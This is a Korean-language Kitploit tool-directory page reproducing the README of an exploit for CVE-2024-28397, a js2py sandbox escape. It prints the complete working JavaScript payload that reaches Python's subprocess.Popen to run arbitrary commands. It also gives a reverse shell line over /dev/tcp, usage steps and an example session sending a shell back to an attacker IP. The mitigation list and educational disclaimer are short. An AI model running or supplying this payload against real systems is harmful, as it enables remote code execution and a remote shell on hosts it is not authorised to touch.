Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — CVE-2024-28397용 익스플로잇 스크립트로, js2py 샌드박스 탈출을 통해 임의의 Python 코드를 실행하여 대상 엔드포인트에서 리버스 셸을 생성합니다. | Kitploit
도구/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397용 익스플로잇 스크립트로, js2py 샌드박스 탈출을 통해 임의의 Python 코드를 실행하여 대상 엔드포인트에서 리버스 셸을 생성합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
3511개월 전아직 검토되지 않음

CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇

js2py 샌드박스 탈출 취약점(CVE-2024-28397)을 대상으로 하는 익스플로잇 스크립트 모음입니다. 이 취약점은 Python 객체 내부 조사를 통해 임의 코드 실행을 허용합니다.

🔍 취약점 개요

js2py 라이브러리에는 JavaScript의 Object.getOwnPropertyNames() 메서드를 통해 내부 Python 객체에 접근하여 공격자가 임의의 Python 코드를 실행할 수 있는 치명적인 샌드박스 탈출 취약점이 있습니다.

기술적 세부 사항

  • CVE 식별자: CVE-2024-28397
  • 영향받는 라이브러리: js2py (JavaScript to Python 변환기)
  • 공격 벡터: Python 객체 내부 조사를 통한 샌드박스 탈출
  • 영향: 원격 코드 실행 (RCE)

📋 참고 분석

이 익스플로잇은 Marven11의 포괄적인 분석을 기반으로 합니다:

  • 분석 문서: CVE-2024-28397 js2py Sandbox Escape 분석

🛠️ 익스플로잇 스크립트

이 저장소에는 세 가지 다른 구현이 포함되어 있습니다:

1. Bash 스크립트 (exploit.sh)

curl과 jq를 사용하는 경량 bash 구현.

2. Go 스크립트 (exploit.go)

내장 HTTP 클라이언트를 사용하는 크로스 플랫폼 Go 구현.

🚀 빠른 시작

사전 요구 사항

  • Bash 스크립트: curl, jq, base64
  • Go 스크립트: Go 1.16+

사용법

모든 스크립트는 대화형이며 필요한 정보를 입력하라는 메시지를 표시합니다:

root@kitploit:~
# Bash 버전
chmod +x exploit.sh
./exploit.sh

# Go 버전
go run exploit.go

대화형 프롬프트

각 스크립트는 다음을 묻습니다:

  1. 대상 URL: 취약한 js2py 코드가 실행 중인 엔드포인트
  2. 사용자 IP: 리버스 셸을 위한 사용자 머신의 IP 주소
  3. 사용자 포트: 리버스 셸 연결을 위한 포트 번호

예제 세션

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 작동 방식

1. 페이로드 생성

익스플로잇은 동적으로 리버스 셸 명령을 생성합니다:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Base64 인코딩

셸 명령은 안전한 전송을 위해 base64로 인코딩됩니다:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. JavaScript 샌드박스 탈출

핵심 익스플로잇은 JavaScript를 사용하여 Python의 내부 객체에 접근합니다:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. 실행 흐름

  1. Object.getOwnPropertyNames({})를 통해 Python의 객체 시스템에 접근
  2. __class__.__base__.__getattribute__를 통해 기본 클래스로 이동
  3. 하위 클래스에서 subprocess.Popen 검색
  4. Popen을 통해 임의의 시스템 명령 실행

🛡️ 완화 조치

  • js2py를 패치된 버전으로 업데이트
  • 적절한 입력 검증 및 정화 구현
  • 안전한 샌드박싱 대안 사용
  • 심층 방어 보안 조치 적용

📚 교육 목적

이 스크립트는 교육 및 공인된 테스트 목적으로만 제공됩니다. 모든 시스템에 대해 테스트하기 전에 적절한 권한을 확인하십시오.

🔗 참고 자료

  • CVE-2024-28397 공식 항목
  • Marven11의 상세 분석
  • js2py GitHub 저장소

⚖️ 면책 조항

이 소프트웨어는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 사용자는 관련 법률을 준수하고 사용 전에 적절한 권한을 획득할 책임이 있습니다.

도구 다운로드